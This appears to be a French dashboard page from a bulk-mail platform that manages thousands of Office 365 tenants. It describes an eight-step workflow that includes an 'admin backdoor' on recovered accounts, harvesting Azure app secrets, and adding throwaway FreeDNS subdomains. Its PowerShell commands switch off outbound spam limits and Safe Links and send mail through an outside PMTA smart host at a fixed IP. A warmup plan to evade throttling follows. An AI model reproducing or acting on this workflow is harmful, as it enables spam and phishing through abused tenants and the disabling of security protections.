Office 365 Hub

Graph API • PowerShell Automation • FreeDNS Integration • Workflow 8 Étapes • Connector Management

6403
Tenants O365
1286
Domaines Vérifiés
100
FreeDNS Subdomains
0
Connectors

Workflow Automatisation Office 365 - 8 Étapes

1
Récupération Compte
Connexion tenant, vérif credentials, admin backdoor
2
Test Licence
Business Basic, E3, SMTP AUTH activé
3
Azure AD Credentials
App Registration, Client Secret, Tenant ID
4
Créer Domaines FreeDNS
5 subdomains auto, DNS propagation
5
Ajouter Domaines O365
Import domains, TXT verification
6
Vérifier Domaines
TXT records auto, DNS propagation check
7
Config Anti-Spam
Désactiver Spam Filter, Safe Links, Safe Attachments
8
Créer Connecteur
Partner Connector, Smart Host PMTA, TLS

Prérequis

  • Tenant Office 365 avec licence Business Basic minimum
  • Accès Admin Global au tenant
  • Azure AD App Registration avec permissions Mail.Send
  • Compte FreeDNS pour subdomains
  • Serveur PMTA configuré (Smart Host)

Limites Office 365

  • 10,000 emails/jour par tenant
  • 30 messages/minute max rate
  • Warmup 4 semaines recommandé
  • 500 recipients max par message
  • 35 MB taille max message

Tester Connexion Graph API

Endpoints Graph API Utilisés

POST /oauth2/v2.0/token Obtenir Access Token
GET /v1.0/domains Lister domaines du tenant
POST /v1.0/domains Ajouter un domaine
POST /v1.0/domains/{id}/verify Vérifier un domaine
GET /v1.0/domains/{id}/verificationDnsRecords Obtenir records DNS requis
POST /v1.0/users/{id}/sendMail Envoyer email
GET /v1.0/users Lister utilisateurs
DELETE /v1.0/domains/{id} Supprimer domaine

Exemple: Obtenir Token

POST https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token
Content-Type: application/x-www-form-urlencoded

grant_type=client_credentials
&client_id={client_id}
&client_secret={client_secret}
&scope=https://graph.microsoft.com/.default

Exemple: Envoyer Email via Graph API

POST https://graph.microsoft.com/v1.0/users/{user_id}/sendMail
Authorization: Bearer {access_token}
Content-Type: application/json

{
  "message": {
    "subject": "Test Email",
    "body": {
      "contentType": "HTML",
      "content": "<h1>Hello</h1>"
    },
    "toRecipients": [
      { "emailAddress": { "address": "recipient@example.com" } }
    ]
  }
}

Scripts PowerShell Automatisation

1. Connexion Exchange Online

# Install module si nécessaire Install-Module -Name ExchangeOnlineManagement # Connexion Connect-ExchangeOnline -UserPrincipalName "admin@tenant.onmicrosoft.com"

2. Désactiver Anti-Spam Outbound

# Désactiver le filtre spam sortant Set-HostedOutboundSpamFilterPolicy -Identity "Default" ` -RecipientLimitExternalPerHour 0 ` -RecipientLimitInternalPerHour 0 ` -RecipientLimitPerDay 0 ` -ActionWhenThresholdReached Alert # Désactiver Safe Links Set-SafeLinksPolicy -Identity "Built-In Protection Policy" -EnableSafeLinksForEmail $false

3. Créer Connecteur Outbound

# Créer connecteur vers PMTA New-OutboundConnector -Name "PMTA-Connector" ` -ConnectorType Partner ` -SmartHosts "95.216.167.89" ` -TlsSettings EncryptionOnly ` -UseMXRecord $false ` -Enabled $true

4. Ajouter & Vérifier Domaine

# Ajouter domaine New-AcceptedDomain -Name "mydomain.freedns.org" -DomainName "mydomain.freedns.org" # Obtenir TXT record pour vérification Get-MsolDomainVerificationDns -DomainName "mydomain.freedns.org" -Mode DnsTxtRecord # Vérifier après création TXT Confirm-MsolDomain -DomainName "mydomain.freedns.org"

Intégration FreeDNS pour Office 365

FreeDNS permet de créer des subdomains gratuits pour vérification Office 365 via HTTP (.well-known)

Workflow FreeDNS

  1. Créer subdomain sur FreeDNS (ex: mymail.mooo.com)
  2. Pointer vers tracking server (151.80.235.110)
  3. Créer fichier .well-known/microsoft-identity-association.json
  4. Ajouter domaine dans Office 365
  5. Microsoft vérifie via HTTP automatiquement
  6. Domaine vérifié en 1-5 minutes!

Fichier Vérification HTTP

/.well-known/microsoft-identity-association.json

{
  "associatedApplications": [
    {
      "applicationId": "{client_id}"
    }
  ]
}
Ouvrir FreeDNS Manager

Limites & Quotas Office 365

Limite Valeur Notes
Emails par jour 10,000 Par tenant, reset à minuit UTC
Messages par minute 30 Rate limit strict
Recipients par message 500 To + Cc + Bcc combinés
Taille message max 35 MB Après encodage base64
Domaines par tenant 900 Domaines vérifiés max
Warmup recommandé 4 semaines 50 → 100 → 500 → 2000 → 10000/jour

Planning Warmup Office 365

Jour Volume Jour Volume
J1-350/jourJ15-171000/jour
J4-7100/jourJ18-212000/jour
J8-10200/jourJ22-255000/jour
J11-14500/jourJ26+10000/jour
Besoin d'aide?
WEVAL MIND
En ligne
IA:
Bonjour! 👋 Je suis votre assistant WEVADS.